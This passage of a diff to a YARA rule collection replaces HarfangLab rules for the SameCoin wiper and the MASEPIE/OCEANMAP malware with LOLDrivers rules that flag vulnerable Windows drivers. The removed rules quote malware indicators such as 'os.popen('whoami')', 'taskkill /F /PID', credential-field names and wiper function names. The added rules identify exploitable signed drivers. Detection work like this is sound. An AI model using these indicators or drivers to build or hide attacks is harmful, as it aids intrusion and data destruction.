+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		$dga and (4 of ($a*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Samecoin_Campaign_Loader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_1493 : FILE
 {
 	meta:
-		description = "Matches the loader used in the SameCoin campaign"
-		author = "HarfangLab"
-		id = "ab4d59f6-300d-5cdf-b91f-87f8cc1f0eac"
-		date = "2024-02-13"
-		modified = "2024-04-05"
-		reference = "TRR240201"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240201/trr240201_yara.yar#L1-L21"
-		license_url = "N/A"
-		hash = "cff976d15ba6c14c501150c63b69e6c06971c07f8fa048a9974ecf68ab88a5b6"
-		logic_hash = "7df04ab208d2caa5a137b1c3481ef734df54bbe8330979f524b16e9ba8cf48d5"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		id = "f1b0bccc-950b-5039-b181-fe4cee4e84b1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4118-L4141"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "14938f68957ede6e2b742a550042119a8fbc9f14427fb89fa53fff12d243561c"
+		hash = "28999af32b55ddb7dcfc26376a244aa2fe297233ce7abe4919a1aef2f7e2cee7"
+		hash = "41eeeb0472c7e9c3a7146a2133341cd74dd3f8b5064c9dee2c70e5daa060954f"
+		hash = "a495ffa623a5220179b0dd519935e255dd6910b7b7bc3d68906528496561ff53"
+		hash = "e4cf438838dc10b188b3d4a318fd9ba2479abb078458d7f97591c723e2d637ce"
+		hash = "ce23c2dae4cca4771ea50ec737093dfafac06c64db0f924a1ccbbf687e33f5a2"
+		logic_hash = "cc5f7ae21d2025a266f826b65146f88ba439a63ebd868f663b7dd69c4b3be468"
+		score = 40
 		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$hebrew_layout = "0000040d" fullword ascii
-		$runas = "runas" fullword ascii
-		$jpg_magic = { FF D8 FF E0 00 10 4A 46 49 46 00 01 }
-		$wl_1 = "C:\\Users\\Public\\Microsoft Connection Agent.jpg" ascii
-		$wl_2 = "C:\\Users\\Public\\Video.mp4" ascii
-		$wl_3 = "C:\\Users\\Public\\Microsoft System Agent.exe" ascii
-		$wl_4 = "C:\\Users\\Public\\Microsoft System Manager.exe" ascii
-		$wl_5 = "C:\\Users\\Public\\Windows Defender Agent.exe"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >5MB and filesize <7MB and $hebrew_layout and $runas and $jpg_magic and 3 of ($wl_*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Samecoin_Campaign_Wiper : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Powertool_Kevpsys_Powertool_7C0F : FILE
 {
 	meta:
-		description = "Matches the wiper used in the SameCoin campaign"
-		author = "HarfangLab"
-		id = "695e9181-cc96-5212-b33c-4d55065b7b85"
-		date = "2024-02-13"
-		modified = "2024-04-05"
-		reference = "TRR240201"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240201/trr240201_yara.yar#L23-L41"
-		license_url = "N/A"
-		hash = "e6d2f43622e3ecdce80939eec9fffb47e6eb7fc0b9aa036e9e4e07d7360f2b89"
-		logic_hash = "ebe7c90398464ecf74ede17551c2ebc58b851ba6502092320934d1f5353581a2"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kEvP64.sys"
+		author = "Florian Roth"
+		id = "b4eb0239-e787-50d8-bac9-78178e245bb8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4144-L4171"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7c0f77d103015fc29379ba75d133dc3450d557b0ba1f7495c6b43447abdae230"
+		hash = "d9500af86bf129d06b47bcfbc4b23fcc724cfbd2af58b03cdb13b26f8f50d65e"
+		hash = "2a4f4400402cdc475d39389645ca825bb0e775c3ecb7c527e30c5be44e24af7d"
+		hash = "8e6363a6393eb4234667c6f614b2072e33512866b3204f8395bbe01530d63f2f"
+		hash = "09b0e07af8b17db1d896b78da4dd3f55db76738ee1f4ced083a97d737334a184"
+		hash = "e61004335dfe7349f2b2252baa1e111fb47c0f2d6c78a060502b6fcc92f801e4"
+		hash = "7462b7ae48ae9469474222d4df2f0c4f72cdef7f3a69a524d4fccc5ed0fd343f"
+		hash = "97363f377aaf3c01641ac04a15714acbec978afb1219ac8f22c7e5df7f2b2d56"
+		hash = "1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c"
+		logic_hash = "3eeba224179a144483bbb9222579539f58857449173a55e331a98152ba4df7a8"
+		score = 40
 		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$code = { 68 57 04 00 00 50 E8 }
-		$wl_1 = "C:\\Users\\Public\\Microsoft Connection Agent.jpg" ascii
-		$wl_2 = "C:\\Users\\Public\\Video.mp4" ascii
-		$wl_3 = "C:\\Users\\Public\\Microsoft System Agent.exe" ascii
-		$wl_4 = "C:\\Users\\Public\\Microsoft System Manager.exe" ascii
-		$wl_5 = "C:\\Users\\Public\\Windows Defender Agent.exe" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006f0077006500720054006f006f006c }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0050006f0077006500720054006f006f006c }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006b00450076005000360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006f0077006500720054006f006f006c }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00450076005000360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0050006f0077006500720054006f006f006c }
 
 	condition:
-		uint16(0)==0x5A4D and filesize <200KB and $code and 3 of ($wl_*)
+		uint16(0)==0x5a4d and filesize <2900KB and all of them
 }
-rule HARFANGLAB_Samecoin_Campaign_Tasksspreader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_D1F4 : FILE
 {
 	meta:
-		description = "Detect .NET Task Scheduler that is dropper by SameCoin Loader"
-		author = "HarfangLab"
-		id = "7dcfdecd-00c3-502a-b29e-a10a1fd9543f"
-		date = "2024-02-13"
-		modified = "2024-04-05"
-		reference = "TRR240201"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240201/trr240201_yara.yar#L43-L80"
-		license_url = "N/A"
-		hash = "b447ba4370d9becef9ad084e7cdf8e1395bafde1d15e82e23ca1b9808fef13a7"
-		logic_hash = "61d602c343365608e5bc587ee9c7898e256f2411d78c7fe74c211e68bf4ab707"
-		score = 75
-		quality = 28
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "c1e8abd1-14c1-5ddd-87cb-647dfcc652fd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4174-L4193"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d1f4949f76d8ac9f2fa844d16b1b45fb1375d149d46e414e4a4c9424dc66c91f"
+		logic_hash = "8152947116f7cb31e716db449c855255c30f5034d065e8287cf480157274ba9b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$dotNet = ".NETFramework,Version" ascii fullword
-		$a1 = "System.DirectoryServices.ActiveDirectory" ascii fullword
-		$a2 = "GetTypeFromProgID" ascii fullword
-		$a3 = "DirectorySearcher" ascii fullword
-		$a4 = "SearchResultCollection" ascii fullword
-		$a5 = "UnaryOperation" ascii fullword
-		$b1 = "$dc1b29f0-9a87-4383-ad8b-01285614def1" ascii fullword
-		$b2 = "Windows Defender Agent" ascii fullword
-		$b3 = "Windows Defender Agent.exe" wide ascii fullword
-		$b4 = /(\\)?C(:|\$)\\Users\\Public\\Microsoft System Agent\.exe/ wide fullword
-		$b5 = "MicrosoftEdgeUpdateTaskMachinesCores" wide fullword
-		$b6 = "WindowsUpdate" wide fullword
-		$c1 = "RegisterTaskDefinition" wide fullword
-		$c2 = "DisallowStartIfOnBatteries" wide fullword
-		$c3 = "StopIfGoingOnBatteries" wide fullword
-		$c4 = "Schedule.Service" wide fullword
-		$c5 = "\\Domain Users" wide fullword
-		$c6 = "(objectClass=computer)" wide fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00320020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		filesize >8KB and filesize <40KB and ( uint16be(0)==0x4D5A) and $dotNet and (4 of ($a*)) and ((( any of ($b*)) and ( any of ($c*))) or ( all of ($c*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Samecoin_Campaign_Nativewiper : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_BC45 : FILE
 {
 	meta:
-		description = "Matches the native Android library used in the SameCoin campaign"
-		author = "HarfangLab"
-		id = "9c77c26e-50f7-5ee4-bc6b-c0333e268b2c"
-		date = "2024-02-13"
-		modified = "2024-04-05"
-		reference = "TRR240201"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240201/trr240201_yara.yar#L82-L102"
-		license_url = "N/A"
-		hash = "248054658277e6971eb0b29e2f44d7c3c8d7c5abc7eafd16a3df6c4ca555e817"
-		logic_hash = "2779664830df3b5be72b7fe7d4da3d27e2a86b289ee3974596abf1df12317cd8"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "1abef091-37a1-53ee-9de8-c59a79b3775f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4196-L4216"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "bc453d428fc224960fa8cbbaf90c86ce9b4c8c30916ad56e525ab19b6516424e"
+		hash = "182bbdb9ecd3932e0f0c986b779c2b2b3997a7ca9375caa2ec59b4b08f4e9714"
+		logic_hash = "283d6d71ba7ace25c248949d232d2ce0c86fa87115304b8d6c07e7564e6757a3"
+		score = 40
 		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$native_export = "Java_com_example_exampleone_MainActivity_deleteInCHunks" ascii
-		$f1 = "_Z9chunkMainv" ascii
-		$f2 = "_Z18deleteFilesInChunkRKNSt6__" ascii
-		$f3 = "_Z18overwriteWithZerosPKc" ascii
-		$s1 = "/storage/emulated/0/" ascii
-		$s2 = "FileLister" ascii
-		$s3 = "Directory chunks deleted."
-		$s4 = "Current Chunk Size is:  %dl\n" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310034002e0031003000320031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310034002e0031003000320031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100340020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		filesize <500KB and uint32(0)==0x464C457F and ($native_export or all of ($f*) or all of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Masepie_Campaign_Htmlstarter : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_7CB4 : FILE
 {
 	meta:
-		description = "Detect Malicious Web page HTML file from CERT-UA#8399"
-		author = "HarfangLab"
-		id = "0cca485c-7941-5760-8c24-d993dcbf376d"
-		date = "2024-01-24"
-		modified = "2024-01-31"
-		reference = "TRR240101;https://cert.gov.ua/article/6276894"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240101/trr240101_yara.yar#L1-L16"
-		license_url = "N/A"
-		hash = "628bc9f4aa71a015ec415d5d7d8cb168359886a231e17ecac2e5664760ee8eba"
-		logic_hash = "d131372c6ad01ae77e5630bae0c0a04ce311718eb1bcf423e6575f3b0ecdba5d"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "b578c798-3923-51b7-80c7-b4e123dc8747"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4219-L4238"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7cb497abc44aad09a38160d6a071db499e05ff5871802ccc45d565d242026ee7"
+		logic_hash = "bec5e91150c9c0760c91f8a2b4b83867af030ede236c8596c3558e0f8fca1004"
+		score = 40
 		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$s1 = "<link rel=\"stylesheet\" href=\"a.css\">" ascii wide fullword
-		$s2 = "src=\".\\Capture" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100380020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003900200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		filesize >600 and filesize <5KB and ( all of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Masepie_Campaign_Webdavlnk : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Safenetinc_Hostnt_Hostnt_07B6 : FILE
 {
 	meta:
-		description = "Detect Malicious LNK from CERT-UA#8399"
-		author = "HarfangLab"
-		id = "de7fd592-e733-52d0-af9b-55adf37eaf74"
-		date = "2024-01-24"
-		modified = "2024-01-31"
-		reference = "TRR240101;https://cert.gov.ua/article/6276894"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240101/trr240101_yara.yar#L18-L40"
-		license_url = "N/A"
-		hash = "19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc"
-		logic_hash = "26075e47b54404c55f4ca5eb757efa2b1711d919de0ffbfbdf6935e2e4dd3f3d"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HOSTNT.sys"
+		author = "Florian Roth"
+		id = "a1210220-529b-5103-888f-aaa707040eee"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4241-L4260"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "07b6d69bafcfd767f1b63a490a8843c3bb1f8e1bbea56176109b5743c8f7d357"
+		logic_hash = "b07f335b6941ef2095903cb8841358bff6b09518a96512d69fdf90bf328888e7"
+		score = 40
 		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$a1 = "[system.Diagnostics.Process]::Start('msedge','http" wide nocase fullword
-		$a2 = "\\Microsoft\\Edge\\Application\\msedge.exe" wide nocase fullword
-		$a3 = "powershell.exe" ascii wide fullword
-		$s1 = "win-j5ggokh35ap" ascii fullword
-		$s2 = "desktop-q0f4sik" ascii fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006f00730074006e0074002000360034002d0062006900740020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053006100660065004e00650074002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048006f00730074006e0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006f00730074006e0074 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048006f00730074006e0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000200053006100660065004e00650074002c00200049006e0063002e }
 
 	condition:
-		filesize >1200 and filesize <5KB and ( uint16be(0)==0x4c00) and (( all of ($a*)) or ( any of ($s*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Masepie_Campaign_Masepie : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_9A91 : FILE
 {
 	meta:
-		description = "Detect MASEPIE from CERT-UA#8399"
-		author = "HarfangLab"
-		id = "f0a034fa-38d4-5c54-b865-f830f85e245e"
-		date = "2024-01-24"
-		modified = "2024-01-31"
-		reference = "TRR240101;https://cert.gov.ua/article/6276894"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240101/trr240101_yara.yar#L42-L62"
-		license_url = "N/A"
-		hash = "18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6"
-		logic_hash = "02da8119267978e63e3ee5ecdefb52285718f8875ec64d320f2752460c05588d"
-		score = 75
-		quality = 78
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo11X64.sys"
+		author = "Florian Roth"
+		id = "a8c05c92-a133-5f8f-bc4e-ff7e21f262e0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4263-L4282"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9a91d6e83b8fdec536580f6617f10dfc64eedf14ead29a6a644eb154426622ba"
+		logic_hash = "29ba3734f177a3ca166a3c02d066da4b9e4cbd146724f037ac82e3ced1d7951e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$t1 = "Try it againg" ascii wide fullword
-		$t2 = "{user}{SEPARATOR}{k}" ascii wide fullword
-		$t3 = "Error transporting file" ascii wide fullword
-		$t4 = "check-ok" ascii wide fullword
-		$a1 = ".join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))" ascii wide fullword
-		$a2 = "dec_file_mes(mes, key)" ascii wide fullword
-		$a3 = "os.popen('whoami').read()" ascii wide fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
 
 	condition:
-		filesize >2KB and filesize <15MB and (4 of them )
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule HARFANGLAB_Masepie_Campaign_Oceanmap : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_848B : FILE
 {
 	meta:
-		description = "Detect OCEANMAP from CERT-UA#8399"
-		author = "HarfangLab"
-		id = "7dcbce01-ab91-56ae-8789-e2e25ba1bf8c"
-		date = "2024-01-24"
-		modified = "2024-01-31"
-		reference = "TRR240101;https://cert.gov.ua/article/6276894"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240101/trr240101_yara.yar#L64-L98"
-		license_url = "N/A"
-		hash = "24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04"
-		logic_hash = "5fe244025f49358b4285e1272489378a46363ae915881dece26691d971aa93f3"
-		score = 75
-		quality = 78
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "efe27764-9166-5ed5-8d08-1944e9fead43"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4285-L4304"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "848b150ffcf1301b26634a41f28deacb5ccdd3117d79b590d515ed49849b8891"
+		logic_hash = "e56d5221962e4fe353c0e37cc3bbebf68d785d86f49269d7e6d935ef6cff6f38"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$dotNet = ".NETFramework,Version" ascii fullword
-		$a1 = "$ SELECT INBOX.Drafts" wide fullword
-		$a2 = "$ SELECT Drafts" wide fullword
-		$a3 = "$ UID SEARCH subject \"" wide fullword
-		$a4 = "$ APPEND INBOX {" wide fullword
-		$a5 = "+FLAGS (\\Deleted)" wide fullword
-		$a6 = "$ EXPUNGE" wide fullword
-		$a7 = "BODY.PEEK[text]" wide fullword
-		$t1 = "change_time" ascii fullword
-		$t2 = "ReplaceBytes" ascii fullword
-		$t3 = "fcreds" ascii fullword
-		$t4 = "screds" ascii fullword
-		$t5 = "r_creds" ascii fullword
-		$t6 = "comp_id" ascii fullword
-		$t7 = "changesecond" wide fullword
-		$t8 = "taskkill /F /PID" wide fullword
-		$t9 = "cmd.exe" wide fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00300035002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00300035002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		filesize >8KB and filesize <100KB and ( uint16be(0)==0x4D5A) and $dotNet and (3 of ($a*)) and (2 of ($t*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Supposed_Grasshopper_Downloader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_7CB5 : FILE
 {
 	meta:
